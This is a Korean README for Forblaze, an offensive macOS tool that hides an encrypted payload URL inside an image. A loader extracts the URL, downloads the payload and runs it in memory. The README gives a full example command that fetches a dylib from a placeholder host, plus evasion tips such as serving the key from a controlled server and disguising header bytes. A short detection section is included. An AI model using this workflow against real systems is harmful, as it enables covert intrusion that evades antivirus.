
Forblaze - Mac용 Python 스테가노그래피 페이로드 생성기
저자: AsaurusRex
이 프로젝트를 합법적인 레드팀/펜테스팅 작업 또는 연구 이외의 목적으로 사용하지 마십시오. 불법 활동에 사용하지 마십시오. 이 프로젝트는 연구 목적과 레드팀 및 블루팀의 임무를 발전시키기 위해 제공됩니다.
Forblaze에 대한 블로그 포스트는 https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571 에서 확인하세요.
Forblaze는 Mac OS 페이로드에 스테가노그래피 기능을 제공하기 위해 설계된 프로젝트입니다. python3을 사용하여 Obj-C 파일을 빌드하고, 이를 컴파일하여 스테고 파일에서 암호화된 URL을 추출하고, HTTPS를 통해 페이로드를 가져와 메모리에서 직접 실행합니다. 사용자 정의 암호화를 사용하지만, 암호학적으로 안전하지는 않으며 단순히 AV 엔진의 분석을 방해하기 위한 것입니다. 이전에 Rubicon이라는 Windows용으로 만든 사용자 정의 암호화와 약간 다르며, 실제로는 더 간단합니다. Forblaze는 헤더 및 푸터 바이트를 사용하여 스테고 파일 내에서 암호화된 바이트의 위치를 식별하고, compile_forblaze.m에 하드코딩된 키로 복호화합니다. 이 키는 저장 및 재사용할 수 있으며, 다른 URL을 사용하여 다른 페이로드를 가져올 수 있고, 동일한 컴파일된 forblaze가 (헤더와 푸터 바이트가 변경되지 않고 새 스테고 파일이 올바른 위치에 업로드되는 경우) 계속 실행 및 처리할 수 있어야 합니다.
Python3 (Python3.9+에서만 테스트됨) 및 일부 관련 Python 라이브러리 - pip3가 필요한 Python 종속성을 처리합니다. 또한 clang이 컴파일에 사용되며, forblaze는 Mac에서 실행되어 올바르게 컴파일되어야 합니다.
사용법: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]
임플란트용 스테고 생성.
선택적 인수:
-h, --help 도움말 메시지 표시 후 종료
-innocent_path PATH 사용할 무해한 파일의 전체 경로를 제공합니다.
-o OUTPUT 스테고 파일을 배치할 경로를 제공합니다.
-len_key LENGTH_OF_KEY 키 길이(바이트)를 나타내는 양의 정수를 제공합니다. 기본값은 16입니다. 10에서 150바이트 사이여야 합니다.
-url_to_encrypt URL 컴파일 파일에 넣을 URL을 제공합니다.
-supply_key SUPPLIED_KEY 특정 키를 사용하려면 여기에 제공합니다. 형식은 다음과 같아야 합니다: -supply_key "\x6e\x60\..." - 각 바이트 사이에 이중 슬래시가 필요하며, 그렇지 않으면 작동하지 않습니다.
-stego_location STEGO_LOCATION 대상에서 스테고 파일이 위치할 경로를 제공해야 합니다. 엄격한 전체 경로를 따르는 것이 좋습니다. 예: /Users/<>/Documents/file.jpg.
-compiled_binary COMPILED_BINARY 스테고 파일에서 URL을 추출하고 메모리에서 코드를 실행할 컴파일된 바이너리의 이름을 지정합니다. 기본값은 forblaze입니다.
-method METHOD 사용할 방법을 선택합니다. 방법 1은 dylib를 메모리에 직접 실행하며, Go 페이로드 및 일반 페이로드에서 작동합니다. 방법 2는 macho 파일을 메모리에 직접 실행하지만 Go 컴파일 페이로드에서는 작동하지 않습니다. 방법 3은 방법 1과 동일하지만 복호화 키를 서버에서 가져오며, 이는 OPSEC에 더 친숙합니다. 기본 방법은 1입니다. 참고: 실행 방법에 따라 '모듈'(RunMain)을 수동으로 편집해야 할 수도 있습니다.
-key_url KEY_URL 스테고 파일을 복호화할 키의 URL을 제공합니다.
python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg -compiled_binary innocent_binary
솔직히 많지 않습니다. Mac OS 탐지는 특히 인메모리 활동에 대해 여전히 취약합니다. 독자를 위한 연습으로, 이 코드를 약간 수정하여 URL 대신 페이로드 바이트를 직접 호출할 수도 있습니다. 그러나 페이로드 크기에 따라 Python 스크립트의 암호화 부분이 허용할 수 없을 정도로 오래 걸릴 수 있습니다.
참고: 이 코드는 Mach-O 바이너리로 컴파일되므로(dylib가 아닙니다. 코드에서 쉽게 변경 가능), 게이트키퍼와 같은 제어는 페이로드에 서명하거나 격리 속성을 제거하지 않는 한 기본적으로 실행을 차단합니다.
기본 난수 바이트 수를 변경하고, forblaze가 스테고 파일에서 페이로드를 찾는 데 사용하는 기본 헤더 및 푸터 바이트(더 눈에 띄지 않도록 헤더/푸터 바이트 길이 포함)를 변경하는 것이 좋습니다.
최상의 OPSEC를 위해, 복호화 키를 제어하는 외부 서버에서 가져오는 것을 권장합니다. 그러면 키에 대한 액세스를 엄격히 제어할 수 있어 리버스 엔지니어링을 훨씬 어렵게 만듭니다.
스테가노그래피는 탐지하기 어렵습니다. 스테고 파일이 있는 위치를 알면 일반 파일의 EOF(예: JPEG의 경우 "FFD9" 이후) 이후의 의심스러운 바이트를 추출할 수 있습니다. 이러한 의심스러운 바이트에는 실제 암호화된 페이로드와 의미 없는 난수 바이트가 포함되며, Forblaze가 지정한 헤더 및 트레일링 바이트가 없으면 서로 구별하기 어렵습니다. Forblaze의 헤더 및 푸터 바이트가 일반적으로 작동하는 방식이므로 반복되는 바이트 패턴을 찾을 수 있지만, 숙련된 운영자는 기본값보다 찾기 더 어렵게 만들 수 있습니다. 페이로드가 발견되면 바이너리를 리버스 엔지니어링하여 스테고 파일을 찾고, 하드코딩된 키와 헤더/푸터를 사용하여 호출되는 URL(또는 다른 바이트)을 역추적할 수 있습니다. 그러나 이는 다른 방법으로 바이너리를 찾았다고 가정합니다.
이 도구는 Big Sur 및 Catalina(x64 시스템)를 포함한 여러 버전의 Mac OS에서 테스트되었습니다. 문제가 있으면 알려주십시오.
사용자 정의 암호화는 기본적인 시저 암호로, 키의 서로 다른 바이트를 사용하여 평문 바이트를 시프트합니다. 키가 크다고 반드시 암호화에 더 좋은 것은 아닙니다. 이는 평문의 길이에 따라 다릅니다. 평문이 50바이트이고 키가 150바이트이면 키의 처음 50바이트만 사용됩니다. 평문이 150바이트보다 크면 긴 키가 더 안전할 수 있습니다.
스테가노그래피는 매우 간단합니다. 원래 무해한 파일의 바이트는 그대로 유지되고, 난수 바이트(암호화된 페이로드 바이트와 함께)가 이 바이트 뒤에 추가됩니다. 이러한 난수 바이트의 기본 길이는 2에서 2000 사이입니다(평문 크기에 맞게 변경해야 합니다. 큰 평문은 더 많은 난수 바이트가 생성되어야 함).
인메모리 실행 부분은 https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory 와 maisal 로더(현재 링크를 찾을 수 없음)를 따르며, 간단히 변경된 점은 페이로드 바이트를 디스크 파일에서 읽는 대신 HTTP/HTTPS로 읽는다는 것입니다.
의견과 협업을 환영합니다! 이 글이 사용자 정의 암호화 주제에 대한 유용한 논의를 생성하거나 연구자에게 새로운 통찰력을 제공하는 데 도움이 되길 바랍니다.